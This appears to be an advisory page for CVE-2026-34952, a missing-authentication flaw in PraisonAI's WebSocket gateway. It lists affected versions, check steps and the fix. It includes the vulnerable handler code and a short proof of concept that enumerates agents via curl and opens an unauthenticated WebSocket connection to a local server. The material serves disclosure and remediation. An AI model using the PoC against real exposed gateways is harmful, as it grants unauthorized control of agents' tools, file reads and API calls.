---
id: "CVE-2026-34952"
page: "https://infrastack.ai/live/CVE-2026-34952"
kind: "vulnerability"
aliases: ["CVE-2026-34952", "GHSA-cfh6-vr3j-qc3g"]
title: "PraisonAI Has Missing Authentication in WebSocket Gateway"
severity: "critical"
cvss: 9.1
epss: 0.00452
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "praisonai", "fixed": ["4.5.97"], "affected": "<= 4.5.96", "ecosystem": "pypi"}, {"name": "praison praisonai", "fixed": ["4.5.97"], "affected": "< 4.5.97", "ecosystem": "vendor"}, {"via": "cpe", "name": "PraisonAI", "fixed": ["4.5.97"], "affected": "< 4.5.97", "ecosystem": "pypi"}]
ecosystems: ["pypi", "vendor"]
tags: ["ai-agents", "ai-tooling", "cwe-306", "praisonai", "python", "websocket-gateway"]
not_affected_if: ["gateway-not-running", "no-network-exposure"]
published_at: "2026-04-01T23:28:04+00:00"
first_seen_at: "2026-11-16T15:58:20+00:00"
updated_at: "2026-11-16T16:08:50+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-cfh6-vr3j-qc3g", "first_seen_at": "2026-11-16T15:58:20+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34952", "first_seen_at": "2026-11-16T16:08:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00452, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34952"}]
---

# PraisonAI Has Missing Authentication in WebSocket Gateway

Link for people: https://infrastack.ai/live/CVE-2026-34952 (this .md is for agents)

The PraisonAI Gateway accepts WebSocket connections at `/ws` and lists agent IDs at `/info` with no authentication. Any network client can enumerate agents and send them messages that reach their tools, including file reads and API calls.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:praisonai affected <= 4.5.96 fixed 4.5.97
- vendor:praison praisonai affected < 4.5.97 fixed 4.5.97
- pypi:PraisonAI affected < 4.5.97 fixed 4.5.97

## How to check

- Run `pip show praisonai` and compare the version with `4.5.97`.
- Check whether the gateway is running: look for `WebSocketGateway` or `praisonai.gateway` in your startup code.
- Request `/info` on the gateway host; an unauthenticated JSON response listing agents means it is exposed.

## Fix

- `praisonai` to `4.5.97` or later (fixed version in the product data).

## Timeline

- 2026-11-16T15:58:20+00:00 ghsa https://github.com/advisories/GHSA-cfh6-vr3j-qc3g
- 2026-11-16T16:08:50+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-34952

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-cfh6-vr3j-qc3g
- [advisory] Maintainer's advisory: github.com https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cfh6-vr3j-qc3g

## From the sources

### Summary

The PraisonAI Gateway server accepts WebSocket connections at `/ws` and serves agent topology at `/info` with no authentication. Any network client can connect, enumerate registered agents, and send arbitrary messages to agents and their tool sets.

### Details

`gateway/server.py:242` (source) -> `gateway/server.py:250` (sink)
```python
# source -- /info leaks all agent IDs with no auth
async def info(request):
    return JSONResponse({
        "agents": list(self._agents.keys()),
        "sessions": len(self._sessions),
        "clients": len(self._clients),
    })

# sink -- WebSocket accepted unconditionally, no token check
async def websocket_endpoint(websocket: WebSocket):
    await websocket.accept()
    client_id = str(uuid.uuid4())
    self._clients[client_id] = websocket
    # processes any message from any client
```

### PoC
```bash
# tested on: praisonai==4.5.87 (source install)
# install: pip install -e src/praisonai
# start server:
# python3 -c "import asyncio; from praisonai.gateway.server import WebSocketGateway; asyncio.run(WebSocketGateway(host='127.0.0.1', port=8765).start())" &

# Step 1 - enumerate agents, no auth
curl -s http://127.0.0.1:8765/info
# expected output: {"name":"PraisonAI Gateway","version":"1.0.0","agents":[...],"sessions":0,"clients":0}

# Step 2 - connect to WebSocket, no token
python3 -c "
import asyncio, websockets, json
async def run():
    async with websockets.connect('ws://127.0.0.1:8765/ws') as ws:
        print('Connected with no auth')
        await ws.send(json.dumps({'type': 'join', 'agent_id': 'assistant'}))
        print(await asyncio.wait_for(ws.recv(), timeout=3))
asyncio.run(run())
"
# expected output: Connected with no auth
# {"type": ...} -- server responds, connection accepted
```

### Impact

Any unauthenticated attacker with network access can connect to the WebSocket gateway, enumerate all registered agents via `/info`, and send arbitrary messages to agents including tool execution, file reads, and API calls. `GatewayConfig` has an `auth_token` field that is never enforced in the handler.

### Suggested Fix
```python
async def websocket_endpoint(websocket: WebSocket):
    token = websocket.query_params.get("token") or \
            websocket.headers.get("Authorization", "").removeprefix("Bearer ")
    if self._config.auth_token and token != self._config.auth_token:
        await websocket.close(code=4001, reason="Unauthorized")
        return
    await websocket.accept()
```

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
